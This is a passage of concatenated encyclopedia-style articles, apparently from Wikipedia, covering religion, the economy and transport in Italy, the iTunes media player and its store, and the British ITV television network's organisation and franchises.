          Other Christian groups in Italy include more than 700,000 Eastern Orthodox Christians, including 470,000 newcomersand some 180,000 Greek Orthodox, 550,000 Pentecostals and Evangelicals (0.8%), of whom 400,000 are members of the Assemblies of God, 235,685 Jehovah's Witnesses (0.4%), 30,000 Waldensians, 25,000 Seventh-day Adventists, 22,000 Mormons, 15,000 Baptists (plus some 5,000 Free Baptists), 7,000 Lutherans, 5,000 Methodists (affiliated to the Waldensian Church).


          The country's oldest religious minority is the Jewish community, comprising roughly 45,000 people. It is no longer the largest non-Christian group.


          As a result of significant immigration from other parts of the world, some 825,000 Muslims (1.4%) live in Italy, though only 50,000 are Italian citizens. In addition, there are 110,000 Buddhists (0.2%), 70,000 Sikhs, and 70,000 Hindus (0.1%) in Italy.


          


          Economy
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          According to GDP calculations, Italy was ranked as the seventh largest economy in the world in 2006, behind the United States, Japan, Germany, China, UK, and France, and the fourth largest in Europe. According to the OECD, in 2004 Italy was the world's sixth-largest exporter of manufactured goods. This economy remains divided into a developed industrial north, dominated by private companies, and a less developed agricultural south. In the Index of Economic Freedom 2008 it ranked 64th of 162 countries, or 29th of 41 European countries, the lowest rating in the EU-15 and behind many ex-communist European countries. It's often called a sick man of Europe, with governments having problems in pursuing reform programs.


          According to World Bank data, Italy has high levels of freedom to invest, do business, and trade. On the other hand, Italy has inefficient bureaucracy, relatively low property rights and high levels of corruption (compared to other European countries), heavy taxes, and heavy public consumption at around half of GDP. Italy has been in economic decline compared to most other EU-15 countries.


          Most raw materials needed by industry and more than 75% of energy requirements are imported. Over the past decade, Italy has pursued a tight fiscal policy in order to meet the requirements of the Economic and Monetary Union and has benefited from lower interest and inflation rates. Italy joined the Euro from its introduction in 1999.


          Italy's economic performance has at times lagged behind that of its EU partners, and the current government has enacted numerous short-term reforms aimed at improving competitiveness and long-term growth. It has moved slowly, however, on implementing certain structural reforms favoured by economists, such as lightening the high tax burden and overhauling Italy's rigid labour market and expensive pension system, because of the economic slowdown and opposition from labour unions.


          Italy has a smaller number of world class multinational corporations than other economies of comparable size. Instead, the country's main economic strength has been its large base of small and medium size companies. Some of these companies manufacture products that are technologically moderately advanced and therefore face increasing competition from China and other emerging Asian economies which are able to undercut them on labour costs. These Italian companies are responding to the Asian competition by concentrating on products with a higher technological content, while moving lower-tech manufacturing to plants in countries where labour is less expensive. The small average size of Italian companies remains a limiting factor, and the government has been working to encourage integration and mergers and to reform the rigid regulations that have traditionally been an obstacle to the development of larger corporations in the country.


          Italy's major exports are motor vehicles ( Fiat Group, Aprilia, Ducati, Piaggio), chemicals, petrochemicals ( Eni), electricity ( Enel, Edison), home appliances (Merloni, Candy), aerospace and defense tech ( Alenia, Agusta, Finmeccanica), firearms ( Beretta); but the country's more famous exports are in the fields of fashion ( Armani, Valentino, Versace, Dolce & Gabbana, Benetton, Prada, Luxottica), food industry ( Ferrero, Barilla Group, Martini & Rossi, Campari, Parmalat), luxury vehicles ( Ferrari, Maserati, Lamborghini, Pagani) and motoryachts ( Ferretti, Azimut).


          Tourism is very important to the Italian economy: with over 37million tourists a year, Italy is ranked as the fifth major tourist destination in the world.


          


          Transport
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          The railway network in Italy totals 16,627kilometres (10,331 mi), ranking the country 17th in the world , and is operated by Ferrovie dello Stato. High speed trains include ETR-class trains, of which the ETR 500 travels at 300km/h (190 mph).


          In 1991 Treno Alta Velocit SpA was created, a special purpose entity owned by RFI (itself owned by Ferrovie dello Stato) for the planning and construction of high-speed rail lines along Italy's most important and saturated transport routes. These lines are often referred as "TAV" lines. The purpose of TAV construction is to aid travel along Italy's most saturated rail lines and to add tracks to these lines, namely the Milan-Naples and Turin-Milan-Venice corridors. One of the focuses of the project is to turn the rail network of Italy into a modern and high-tech passenger rail system in accordance with updated European rail standards. A secondary purpose is to introduce high-speed rail to the country and its high-priority corridors. When demand on regular lines is lessened with the opening of dedicated high-speed lines, those regular lines will be used primarily for low-speed regional rail service and freight trains. With these ideas realised, the Italian train network can be integrated with other European rail networks, particularly the French TGV, German ICE, and Spanish AVE systems.


          There are approximately 654,676km(406,797mi) of serviceable roadway in Italy, including 6,957km (4,323mi) of expressways.


          There are approximately 133 airports in Italy, including the two hubs of Malpensa International (near Milan) and Leonardo Da Vinci International (near Rome).


          There are 27 major ports in Italy, the largest is in Genoa, which is also the second largest in the Mediterranean Sea, after Marseille. 2,400km (1,500mi) of waterways traverse Italy.


          
            Retrieved from " http://en.wikipedia.org/wiki/Italy"
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              	iTunes
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              iTunes 7.5 on Mac OS X v10.5, using Cover Flow
            


            
              	Developed by

              	Apple Inc.
            


            
              	Latest release

              	7.6.0.29 / January 15, 2008
            


            
              	OS

              	Mac OS X v10.3 or later, Windows XP, and Vista
            


            
              	Genre

              	Media player
            


            
              	License

              	Proprietary ( freeware)
            


            
              	Website

              	Apple's Official iTunes Website
            

          


          iTunes is a digital media player application, introduced by Apple on January 9, 2001 at the Macworld Expo in San Francisco, for playing and organizing digital music and video files. The program is also an interface to manage the contents on Apple's popular iPod digital media players as well as the iPhone. Additionally, iTunes can connect to the iTunes Store via the internet to purchase and download digital music, music videos, television shows, iPod games, audiobooks, various podcasts and in the USA feature length films, Movie Rentals and Ringtones.


          iTunes is available as a free download for Mac OS X, Windows Vista, and Windows XP from Apple's website. It is also bundled with all Macs, and some HP and Dell computers. Older versions are available for Mac OS 9, OS X 10.0-10.2, and Windows 2000. iTunes is not available for other operating systems.


          


          Features


          Users are able to organize their music into playlists within one or more libraries, edit file information, record compact discs, copy files to a digital audio player, purchase music and videos through its built-in music store, download podcasts, back up songs onto a CD or DVD, run a visualizer to display graphical effects in time to the music, and encode music into a number of different audio formats. There is also a large selection of internet radio stations from which to choose.


          


          Playlists


          In addition to static playlist support, iTunes supports 'Smart playlists'. Smart playlists are playlists that can be set to automatically update (live updating, like a database query) based on a customized list of selection criteria. Different criteria can be entered to control many aspects of the playlist.


          Playlists can also be published by a user of iTunes with his or her own preferences.


          Playlists can be played randomly or sequentially. The "randomness" of the shuffle algorithm can be biased for or against playing multiple tracks from the same album or artists in sequence (a feature introduced in iTunes 5.0). Party Shuffle can also be biased towards selecting tracks with a higher star rating. With this bias enabled, each star rating increases the preference for that particular song about 4% over that of a one-star-less rated song. Unrated songs are the least likely to be played. Inter-star ratings are stored by iTunes, but only affect this feature in the range of zero to one star.


          The Party Shuffle playlist is intended as a simple DJ'ing aid. By default, it selects tracks randomly from other playlists or the library; users can override the automatic selections by deleting tracks (iTunes will choose new ones to replace them) or by adding their own via drag-and-drop or contextual menu. This allows a mixture of both preselected and random tracks in the same meta-playlist. The playlist from which Party Shuffle draws can be changed on the fly; this will cause all randomly chosen tracks to disappear and be replaced.


          


          Library


          iTunes keeps track of songs by creating a virtual library, allowing users to access and edit a song's attributes. These attributes, known as metadata, are stored in two library files.


          The first is a binary file called iTunes Library and it uses a proprietary file format. It caches information like artist and genre from the audio format's tag capabilities (the ID3 tag, for example) and stores iTunes-specific information like play count and rating. iTunes typically reads library data only from this file.


          The second file, iTunes Music Library.xml, is refreshed whenever information in iTunes is changed. It uses an XML format, allowing developers to easily write applications that can access the library information (including play count, last played date, and rating, which are not standard fields in the ID3v2.3 format). Apple's own iDVD, iMovie, and iPhoto, and Freshly Squeezed Software's Rock Star are examples of applications that access the library.


          If the first file is corrupted, iTunes will attempt to reconstruct it from the XML file. Detailed third-party instructions regarding this are documented elsewhere.


          For MP3 files, iTunes writes tags in Unicode ID3v2.2 by default, but converting them to ID3v2.3 and ID3v2.4 is possible via its "Advanced" > "Convert ID3 Tags" toolbar menu. If both ID3v2.x and ID3v1.x tags are in a file, iTunes ignores the ID3v1.x tags.


          AAC and Apple Lossless files support Unicode metadata, stored in the MP4 container as so-called "Atoms". iTunes can play Vorbis or FLAC if the required QuickTime plugins are installed.


          iTunes also supports ripping from CDs. However, since it does not have support for analog line-in recording, users cannot rip from audio cassettes or record from other non-digital formats.


          


          Cover Flow
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              Cover Flow operating in full screen on iTunes 7.6 for Windows XP.
            

          


          Cover Flow displays all of the user's album art as CD covers in a slide show format. It sorts the albums into artist, genre, etc. Compilation albums are only shown as a single album cover if the compilation tag for each of the album's tracks is turned on.


          


          Printing


          To compensate for the lack of a physical CD, iTunes can print custom-made jewel case inserts as well as song lists and album lists. After burning a CD from a playlist, one can select that playlist and bring up a dialogue box with several print options. The user can choose to print either a single album cover (for purchased iTunes albums) or a compilation cover (for user-created playlists). iTunes then automatically sets up a template with art on one side and track titles on the other.


          


          iMix


          An iMix is a user-created playlist published in the iTunes Store. iMixes were first introduced in iTunes version 4.5. Anyone can create an iMix free of charge. iMixes are limited to 100 songs and must feature content available on the iTunes Store. iMixes are public and searchable by any iTunes user. Users may also rate any iMix using a five-star system. iMixes are active for one year from their original published date. Users can publish their iTunes iMix to their blog, profile page or website.


          


          Internet radio


          iTunes 1.0 came with support for the Kerbango Internet radio tuner service, giving iTunes users a selection of some of the more popular online radio streams available. When Kerbango went out of business in 2001, Apple created its own Web radio service for use with iTunes 2.0 and later. As of February 2006, the iTunes radio service features around 300-400 distinct "radio stations" (with a total of over 700 streams, allowing for multiple bit rates), mostly in MP3 streaming format. Programming covers many genres of music and talk, including streams from both internet-only sources as well as streamed traditional stations. iTunes also supports the .pls and .m3u stream file formats used by Winamp, enabling iTunes to access almost any stream using that format.


          Since the release of iTunes 7, Apple no longer promotes the Internet radio feature, and there is no mention of it appearing on the iTunes website. However, it remains in the QuickTime 7.0.4, and iTunes EULA used by iTunes 6.0.5.20. With iTunes 7, the "Radio" item has reappeared as an optional source in the preferences, along with its stations. Companies such as iRADIOmast offer iTunes plugins that add thousands of additional radio stations.


          


          File format support


          iTunes 7 can currently read, write, and convert between MP3, AIFF, WAV, MPEG-4, AAC, and Apple Lossless.


          iTunes can also play any audio files that QuickTime can play (as well as some video formats), including Protected AAC files from the iTunes Store and Audible.com audio books. In order to play other formats such as the Ogg-contained Vorbis or Speex codecs, iTunes requires the Xiph QuickTime Components to be installed. iTunes currently will not play back HE-AAC/aacPlus audio streams correctly. HE-AAC/aacPlus format files will play back as 22kHz AAC files (effectively having no high end over 11kHz). HE-AAC streaming audio (which a number of Internet Radio stations use) will not play back at all.


          There has been some criticism of the quality of Apple's MP3 encoder, with regards to variable bitrate encoding. In a January 2004 double-blind public participated in a codec listening test of six MP3 encoders encoding at 128 kbit/s, conducted by Roberto Amorim, and the iTunes MP3 VBR encoder came last. The author has later acknowledged that there may have been serious issues with how iTunes was tested.


          The Windows version of iTunes can automatically convert DRM-free WMA (including version 9) files to other audio formats, but it does not support direct playback or encoding of DRM protected WMA files. Telestream, Inc. provides free codecs for Mac users of QuickTime to enable playback of unprotected Windows Media files. These codecs are recommended by Microsoft.


          


          Sound processing


          iTunes includes sound processing features, such as equalization, "sound enhancement" ("sound improvement" in some languages) and crossfade. There is also a feature called "Sound Check" which automatically adjusts the playback volume of all songs to the same level. Like "sound enhancement", this can be turned on in the 'Playback' section of iTunes' preferences.


          


          Library sharing


          iTunes Library can be shared over a local network using the closed, proprietary Digital Audio Access Protocol (DAAP), created by Apple for this purpose. DAAP relies on the Bonjour network service discovery framework, Apple's implementation of the Zeroconf open network standard. Apple has not made the DAAP specification available to the general public, only to third-party licensees such as Roku. However, the protocol has been reverse-engineered and is now used to stream playlists from non-Apple software (mainly on the Linux platform).


          DAAP allows shared lists of songs within the same subnet to be automatically detected. When a song is shared, iTunes can stream the song but won't save it on the local hard drive, in order to prevent unauthorized copying. Songs in Protected AAC format can also be accessed but authentication is required. A maximum of five users may connect to a single user every 24 hours.


          Originally with iTunes 4.0, users could freely access shared music anywhere over the Internet, in addition to one's own subnet, by specifying IP addresses of remote shared song libraries. Apple quickly removed this feature with version 4.0.1, claiming that users were violating the End User License Agreement.


          With the release of iTunes 7.0, Apple changed their implementation of DAAP. This change prevents any third-party client, such as a computer running Linux, a modified Xbox, or any computer without iTunes installed, from connecting to a remote iTunes repository. iTunes will still connect as a client to other iTunes servers and to third-party servers.


          


          Video


          On May 9, 2005, video support was introduced to iTunes with the release of iTunes 4.8. Users can drag and drop movie clips from the computer into the iTunes Library for cataloging and organization. They can be viewed in a small frame in the main iTunes display, in a separate window, or fullscreen. Before version 7 provided separate libraries for media types, videos were only distinguished from audio in the Library by a small icon resembling a TV screen and grouped with music in the library, organized by the same musical categories (such as "album" and "composer"). iTunes relies on QuickTime and is therefore incompatible with some common video formats, including WMV.


          On October 12, 2005, Apple introduced iTunes 6.0, which added support for purchasing and viewing of video content from the iTunes Music Store. The iTunes Music Store initially offered a selection of several thousand Music Videos and five TV shows including most notably the ABC network's Lost and Desperate Housewives. Disney Channel's shows were also offered ( The Suite Life of Zack and Cody and That's So Raven) 24 hours after airing as well as episode packs from past seasons; since that time, the collection has expanded with content from numerous television networks. The iTunes Music Store also gives the ability to view Apple's large collection of movie trailers.


          As of September 5, 2006, the iTunes Store offers over 550 television shows for download. Additionally, a catalog of 75 feature-length movies from Disney-owned studios was introduced. As of April 11, 2007, over 500 feature-length movies are available through iTunes.


          Originally, movies and TV shows were only available to U.S. customers, with the only video content available to non-U.S. customers being music videos and Pixar's short films. Some TV shows were made available to UK customers on August 29, 2007. However they are not the same shows as the US version, rather only shows that are already otherwise available in the UK in other offline outlets are shown. For example this means many US shows will not be on the UK iTunes for 6 months to a year or more later, or not at all in some cases.


          Video content available from the store used to be encoded as 540 kbit/s Protected MPEG-4 video ( H.264) with an approximately 128 kbit/s AAC audio track. Many videos and video podcasts currently require the latest version of QuickTime, QuickTime 7, which is incompatible with older versions of Mac OS (only v10.3.9 and later are supported). On September 12, 2006, the resolution of video content sold on the iTunes Store was increased from 320x240 ( QVGA) to 640x480 ( VGA). The higher resolution video content is encoded as 1.5 Mbit/s (minimum) Protected MPEG-4 video ( H.264) with a minimum 128 kbit/s AAC audio track.


          As of 1st October there are a little fewer than 1000 films from major films studios on iTunes and 74 independent film according to Apple.


          


          Plugins


          


          iTunes supports visualizer plugins and device plugins. Visualizer plugins allow developers to create music-driven visual displays. The visualizer plug-in software development kits for Mac and Windows can be downloaded for free from Apple. Device plugins allow support for additional music player devices, but Apple will only license the APIs to bona fide OEMs who sign a non-disclosure agreement. 


          Podcasting


          Version 4.9 of iTunes, released on June 28, 2005, added built-in support for podcasting. It allows users to subscribe to podcasts in the iTunes Music Store or by entering the RSS feed URL. Once subscribed, the podcast will be downloaded automatically. Users can choose to update podcasts weekly, daily, hourly, or manually.


          Users can select podcasts to listen to from the Podcast Directory, to which anyone can submit their podcast for placement. In this directory, Apple maintains four "official" podcasts: Podfinder (with Adam Curry), Street Official Real Talk (interviews with hip-hop artists), iTunes New Music Tuesday, and Apple Quarterly Earnings Call. The front page of the directory also displays high-profile podcasts from commercial broadcasters and independent podcasters. It also allows users to browse the podcasts by category or popularity.


          The addition of podcasting functionality to a mainstream audio application like iTunes greatly helped bring podcasting to a much wider audience. Within days after iTunes 4.9 was released, podcasters were reporting that the number of downloads of their audio files had tripled, sometimes even quadrupled.


          


          Other uses


          Podcasting's initial appeal was to allow individuals to distribute their own music, but the system quickly became used in a wide variety of other ways, including distribution of school lessons, official and unofficial audio tours of museums, conference meeting alerts and updates, and by police departments to distribute public safety messages.


          Podcasting is becoming increasingly popular in education. Podcasts enable students and teachers to share information with anyone at anytime. An absent student can download the podcast of the recorded lesson. It can be a tool for teachers or administrators to communicate curriculum, assignments and other information with parents and the community. Teachers can record book discussions, vocabulary or foreign language lessons, international pen pal letters, music performance, interviews, and debates. Podcasting can be a publishing tool for student oral presentations. Video podcasts can be used in all these ways as well.


          


          Receiving and using podcasts


          Software, often referred to as a "podcatching client," is required to make full use of podcasts' syndication features. Apple's iTunes player is considered the dominant podcatching client, but alternatives exist, including Juice (multiplatform) and Doppler (Windows). Some established audio players, such as AmaroK, Winamp and Mediamonkey also offer (sometimes limited) podcatching functionality.


          Podcast listeners can listen in one of two ways: through a specialized hardware device called an MP3 player or on a computer using media player software.


          


          Managing podcasts on an iPod


          iTunes offers the ability to create "Smart Playlists" which can be used to control which podcasts are in the playlist using multiple criteria such as date, number of times listened, type, etc. It is also possible to set up iTunes so that only certain playlists will be synced with the iPod. By using a combination of the two techniques it is possible to control exactly which music and/or podcasts will be transferred to the iPod. The illustration to the right shows one such "Smart playlist" which ensures that only the latest unlistened podcasts will be in the smart playlist. Any podcast which is more that two weeks old is not included, nor is any podcast that the iPod user has already listened to. This smart playlist is synced with the iPod every time the iPod is plugged into the PC, ensuring that the user does not have to listen to the same show more than once. Once a podcast has been listened to, it will be removed from this list as soon as the iPod is synced with the PC. There are many criteria which can control what goes in a smart playlist, such as "name," "artist," "category," "grouping," "kind," "last played," "play count," "rating," "last skipped," and "playlist" and these can be combined with functions such as "equals," "is greater than," "is less than," "contains," "is true," "is false," "is," "is not," "does not contain," "starts with," "ends with," "is in the range," "is before," and "is after". As a result, it is possible to control exactly which podcasts are transferred to the iPod.


          


          Example


          For example, a user may only want news programs less than 24 hours old, unlistened science programs less than one month old, and all Spanish lessons that they have yet listened to less than three times. By using smart playlists, they can ensure that these rules will be followed. The user would set up four smart playlists. The first smart playlist containing news podcasts downloaded in the last 24 hours, the second containing the science podcasts which are unlistened and less than one month old, and a third smart playlist containing Spanish lessons which have been listened less than three times, and a fourth smart playlist which contains the contents of the first three. The fourth smart playlist is the one which would be synced with the iPod. Obviously the fourth playlist may contain many other play lists as well as the ones described above.


          


          Video podcasting


          Version 6 of iTunes introduced official support for video podcasting (also known as a vodcast), although video and RSS support was already unofficially there in version 4.9. Users can subscribe to RSS feeds through the iTunes Music Store or by entering the feed URL. Video podcasts can contain downloadable video files (in MOV, MP4, M4V, or MPG format), but also streaming sources and even IPTV. Downloadable files can be synchronized to a video-capable iPod and both downloadable files and streams can be shown in Front Row.


          


          Synchronizing iPod and other players


          iTunes can automatically synchronize its music and video library with an iPod every time it is connected. (The OS X version of iTunes can also synchronize with a number of other digital music players; the Windows version will support only the iPod.) New songs and playlists are automatically copied to the iPod and songs that have been deleted from the library on the computer are also deleted from the iPod, and vice versa. Ratings awarded to songs on the iPod will sync back to the iTunes library and audiobooks will remember the current playback position.


          Automatic synchronization can be turned off in favour of manually copying individual songs or complete playlists. iTunes supports copying music to the iPod; however, only purchased music and videos can be transferred from the iPod back to iTunes. This functionality was added much after third-party software was available which allowed users to copy all content back to your computer. It is also possible to copy from the iPod using ordinary Unix command line tools, or by simply enabling the "Show hidden files and folders" option under "Folder Options" in Windows Explorer, then copying music from the iPod drive to a local disk for backup. Doing this can be confusing because the files are arranged in such a way that their folders and (depending on iPod and iTunes versions) file names are seemingly picked at random as they are put on the iPod. It is worth noting however that the files (along with their ID tag information) remains unchanged. It is therefore less confusing to let iTunes re-import, reorganize, and rename all of the files after they are backed up. When music or video purchased through the iTunes Store is copied from an iPod, it will only play on computers that are authorized with the account that was used to purchase them.


          When an iPod is connected that does not contain enough free space to sync the entire iTunes music library, a playlist will be created and given a name matching that of the connected iPod. This playlist can then be modified to the user's preference in song selection to fill the available space.


          The Mac version of iTunes supports a number of other popular portable music players with some limitations, most notably the inability to play music purchased from the iTunes Store. Supported players include a number of NOMAD players from Creative Labs, some players from Rio Audio and Archos, and the Nakamichi SoundSpace 2 device. Other manufacturers may also offer integration by way of a device plugin. A number of third-party programs have been created to help a user of iTunes to synchronize songs with any music player that can be mounted as an external drive.


          Though iTunes is the only official method for synchronizing with the iPod, there are other programs available that allow the iPod to sync with other software players.


          As of iTunes 7 purchased music can be copied from the iPod onto the computer. The computer must be authorized by that iTunes account. iTunes currently allows up to 5 computers to be authorized on one account. It does not allow you to transfer imported music files between computers. This may be necessary to back songs up, transfer songs to a new computer, or restore music after a disk failure using an iPod as the backup source. A number of shareware or freeware applications exist that complement iTunes.


          


          iTunes Store


          


          Version 4 of iTunes introduced the iTunes Music Store (later renamed to the iTunes Store) from which iTunes users can buy and download songs for use on a limited number of computers and an unlimited number of iPods. Many songs purchased from the iTunes Store are copy protected with Apple's FairPlay digital rights management (DRM) system.


          In the years since, movies, television shows, music videos, podcasts, and video games have been also added to the extensive iTunes Stores catalog.


          As of January 9, 2007, over 2 billion songs have been downloaded since the service first launched on April 28, 2003. Apple announced that as of July 31, 2007 they had over 3 billion downloads since iTunes was first introduced.


          At the 2008 Macworld Conference & Expo Apple CEO Steve Jobs announced that the iTunes Store had sold over 4 billion songs and set a new single day record of 20 million songs on December 25, 2007. He also announced that the iTunes Store will offer over 1,000 movies for rental by the end of February. The iTunes movie catalog will include content from 20th Century Fox, Warner Bros., Walt Disney Pictures, Paramount Pictures, Universal Studios, and Sony Pictures Entertainment. Renting a standard definition catalog title will cost $2.99, while new releases will cost $3.99. High definition titles will cost $1.00 more respectively.


          


          iTunes MiniStore


          The MiniStore feature was added in iTunes version 6.0.2. It adds a small window to the bottom of the main window, which can be turned on or off. When the user selects an item in their library, information about that particular item is sent to the iTunes Store, and the MiniStore shows related songs or videos. Initially, the MiniStore caused controversy because people feared it could be used as spyware. Apple clarified that the MiniStore did not collect any information from users and later made it opt-in.


          


          Gracenote


          iTunes uses the Gracenote interactive audio CD database to provide track name listings for audio CDs. The service can be set to activate when a CD is inserted into the computer and an Internet connection is available. Track names for albums imported to iTunes while not connected to the Internet can be obtained later when connected, by a manual procedure. For any album loaded into iTunes for which there is not an existing Gracenote track listing, the user can choose to submit track name data to Gracenote.


          


          Integration with other applications


          


          In Mac OS X, iTunes is tightly integrated with Apple's iWork suite of applications and the rest of the applications in iLife. These applications can access the iTunes Library directly, allowing access to the playlists and songs stored within (including encrypted music purchased from the iTunes Store). Music files from iTunes can be embedded directly into Pages documents and can supply the score for iDVD, iMovie, and Keynote productions. iTunes is also integrated with Front Row (Front Row compiles its information from the user's iTunes and iPhoto libraries). In addition, any song exported from GarageBand, Apple's music-making program, is automatically added to the user's iTunes music library. iTunes's Artwork.saver is a screen saver included in Mac OS X v10.4 that displays album artwork as a screen saver. iTunes widget is a Dashboard Widget that controls iTunes. The development of Senuti for Mac OS X allows iTunes to be integrated so the iPod and iTunes can transfer songs to each other. A browser add-on called FoxyTunes integrates between iTunes and Firefox, Flock, and Internet Explorer. Moreover, iTunes can be scripted, using AppleScript for Mac OS X or using the Apple-provided SDK for iTunes on Windows via Visual Basic, JavaScript, or C. 


          iPhone & iPod touch


          Upon purchase of an iPhone, users must use iTunes to select and purchase a contract tariff before the phone features may be used. iTunes also syncs media and data to the iPhone, much like an iPod. A software update to iPhones at the time of the iPod touch release introduced an icon labeled "iTunes" on the start page, which links to the iTunes Wi-Fi Music Store.


          


          History


          Originally the domain name "itunes.co.uk" was set up by a small business in 2000. Legal action was taken by Apple against the original owner of the domain, with the suit ending in favour of Apple.


          The software that was the basis for iTunes was developed by Jeff Robbin and Bill Kincaid as a media player called SoundJam MP, and released by Casady & Greene in 1999. It was purchased by Apple in 2000, given a new user interface and the ability to burn CDs, had its recording feature and skin support removed, and released as iTunes in January 2001. Originally a Mac OS 9-only application, Mac OS X support was added with the release of version 2 nine months later, and Mac OS 9 support was dropped with the release of version 3. In October 2003, with the release of iTunes 4.1, Apple added support for Microsoft's Windows 2000 and Windows XP. iTunes 7.1, introduced in March 2007 added support for Windows Vista, and 7.4 marked the end of Windows 2000 support. iTunes lacked support for 64-bit versions of Windows until the 7.6 update on January 16, 2008. iTunes currently fully works and is supported under any 64-bit version of Windows Vista, but not the 64-bit version of Windows XP.


          Apple also developed iTunes branded software which runs on mobile phones such as the Motorola ROKR, Motorola RAZR, and Motorola SLVR.
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              	ITV (Independent Television)
            


            
              	[image: ]
            


            
              	Launched

              	September 22, 1955
            


            
              	Owned by

              	ITV Network Limited

              (consisting of

              ITV plc,

              SMG plc,

              UTV Media plc,

              Channel Television Ltd.)
            


            
              	Audience share

              	18.4%

              (December 2007, )
            


            
              	Slogan

              	"Get Ready" (1989)

              "TV from the Heart" (1999)
            


            
              	Country

              	United Kingdom
            


            
              	Website

              	www.itv.com
            


            
              	Availability
            


            
              	Terrestrial
            


            
              	Analogue

              	Normally tuned to 3 (Not in Whitehaven and Copeland)
            


            
              	Freeview

              	Channel 3
            


            
              	Satellite
            


            
              	Sky Digital

              	Channel 103
            


            
              	SES Astra

              	Channel 13
            


            
              	Cable
            


            
              	Virgin Media

              	Channel 103
            


            
              	Tiscali TV

              	Channel 3
            


            
              	UPC Ireland

              	Channel 110 ( UTV)
            


            
              	Internet Television
            


            
              	itv.com

              	Any Page ( ITV London)
            

          


          Independent Television (generally known as ITV, but also as ITV Network) is a public service network of British commercial television broadcasters, set up under the Independent Television Authority (ITA) to provide competition to the BBC. ITV is the oldest commercial television network in the UK. Since 1990 and the Broadcasting Act 1990, its legal name has been Channel 3, the number 3 having no real meaning other than to distinguish it from BBC One, BBC Two and Channel 4 - prior to this, the network had no legal overall name. In part, 3 was assigned as televisions would usually be tuned so that the regional ITV station would be on the third button, the other stations being allocated to that of the number their name contained.


          ITV is to be distinguished from ITV plc, the company that resulted from the merger of Granada plc and Carlton Communications in 2004 and which owns all of the Channel 3 broadcasting licences in England, Wales, the Scottish/English Border and the Isle of Man. Similarly ITV1 is the brand used by ITV plc for the Channel 3 service in these areas.


          


          Organisation


          


          Unlike practically all other TV channels in the United Kingdom, ITV is not owned by one single company, although it has come close in recent years. Ofcom licences fifteen companies to provide regional Channel 3 services in various areas of the UK, with a separate franchise for the national breakfast service between 6:00am and 9:25am, and two franchises for London, for a weekday service and a weekend service. The licences were last put out to full tender in 1991, since then they have been renewed on a rolling basis.


          In addition to ITV plc as mentioned above, central and northern Scotland are served by SMG plc, the owner of the two franchises completely within Scotland, (branded as STV), Northern Ireland is served by UTV, under that name, whilst the Channel Islands are served by Channel Television, Ltd., also under the name ITV1. In the Republic of Ireland ITV plc formally had a 45% share in the television station TV3, which shows many ITV shows such as X-Factor and Hells Kitchen. This was sold in 2007, but the programming supply agreement continues. UTV is also available in the vast majority of homes in the country in any case.


          Additionally, Channel 3 has since 1983 included a national breakfast franchise, currently held by GMTV, and has a national contractual teletext provider.


          


          National teletext provider


          The Public Teletext Licence allows the holder to broadcast a text-based information service around the clock on Channel 3 (as well as Channel 4 and S4C) frequencies. Teletext on ITV had been provided since 1974 by ORACLE, and since 1993 is provided by Teletext Ltd., whose news, sport and TV listings pages rival that of the BBC's television offering, Ceefax. Teletext Ltd. also provides digital teletext for the Channel 3 services, as well as the text output for both Channel 4 and S4C (which is covered under the same licence) and Five (under a separate licence).


          


          Digital Channel 3


          Since 1998, each of the Channel 3 franchises have received gifted capacity on digital terrestrial television (DTT). As per the original agreement, each regional ITV contractor broadcasts its Channel 3 service from 9:25am to 6:00am daily, with the breakfast operator broadcasting in the remaining hours. However, unlike analogue broadcasts, the assigned capacity across DTT is able to carry multiple television services which, like Channel 3, are broadcast by the regional franchisee between the hours of 9:25am and 6:00am, with the breakfast contractor operating between 6:00am and 9:25am.


          At present, all franchisees opt to broadcast ITV plc-owned channels, being ITV2, ITV3, ITV4 and the CITV Channel, as opposed to broadcasting their own. Up until 2002, UTV in Northern Ireland ran a service known as UTV2, while both Scottish and Grampian ran S2. The breakfast operator, currently GMTV, is obliged to broadcast between the hours of 6:00 and 9:25am daily. Alongside the Channel 3 GMTV service, GMTV also broadcasts GMTV2, which is broadcast on the same capacity as ITV2 and the CITV Channel. The company also holds a third GMTV3 licence however it currently sells this gifted capacity to ITV plc to broadcast ITV3 24 hours a day. ITV is available all across the UK and is also available in the Rep. of Ireland on free to air and Digital satellite.


          Channel 3 shares its space with Channel 4 on Multiplex 2, known as Digital 3&4.


          


          Public service broadcasting


          The right granted by Ofcom of Channel 3's nationally-available status on both analogue and digital television comes with responsibility, in the form of public service broadcasting. Alongside the BBC, Channel 4 and Five, the members of the ITV Network and GMTV all have a responsibility to broadcast various programming of public importance on their analogue stations. This includes quotas for news, current affairs, independent and European programming, children's and religious programming, and output containing subtitles, signing and audio description. In addition, Channel 3 stations are legally obliged to screen party election broadcasts on behalf of all the major political parties, and also other political events such as the Budget.


          All the companies holding a franchise are members of ITV Network Limited (formerly the Independent Television Companies' Association Limited), a not-for-profit body. It is this body that commissions programmes for the network, and schedules the network programming. However, in practice ITV plc, which owns eleven of the fifteen licences, dominates the system.


          Much of the originated networked programme output (around 54%, but up to 65% according to some reports) is contributed by ITV Productions, the production arm of ITV plc (consisting of the consolidated regional companies' network production departments), although a growing number of programmes are commissioned by the Network from independents (a minimum of 25% of total output, as stipulated by the 1990 Broadcasting Act). In addition, the entire network is obliged to broadcast national news sourced by a common contractor (currently ITN). All stations have the right to opt out of national programming (except for the national news) but generally do not, since most are owned by the one company and the others have limited resources for non-networked productions.


          


          Franchise Details


          The table below lists current franchises and the franchise holder.


          
            
              	Franchise Area

              	Franchise holder

              	Franchise held since

              	Parent Company

              	On-air name
            


            
              	Regional Franchises
            


            
              	Northern Scotland

              	STV North Ltd

              	Formerly Grampian Television Since 1961

              	SMG plc

              	STV
            


            
              	Central Scotland

              	STV Central Ltd

              	Formerly Scottish Television Since 1957

              	SMG plc

              	STV
            


            
              	Northern Ireland

              	UTV Media

              	1959

              	UTV Media

              	UTV1
            


            
              	The Channel Islands

              	Channel Television

              	1962

              	Yattendon Investment Trust

              	ITV1 Channel Television2
            


            
              	English-Scottish border and Isle of Man

              	Border Television

              	1961

              	ITV plc

              	ITV1 Border2
            


            
              	North East England

              	Tyne Tees Television

              	1958

              	ITV plc

              	ITV1 Tyne Tees2
            


            
              	Yorkshire, Lincolnshire and North Norfolk

              	Yorkshire Television

              	1968

              	ITV plc

              	ITV1 Yorkshire2
            


            
              	North West England

              	Granada Television

              	19563

              	ITV plc

              	ITV1 Granada2
            


            
              	Wales and the West of England

              	HTV

              	1968

              	ITV plc

              	ITV1 Wales1/

              ITV1 West2
            


            
              	The Midlands

              	Central Independent Television

              	1982

              	ITV plc

              	ITV1 Central2/

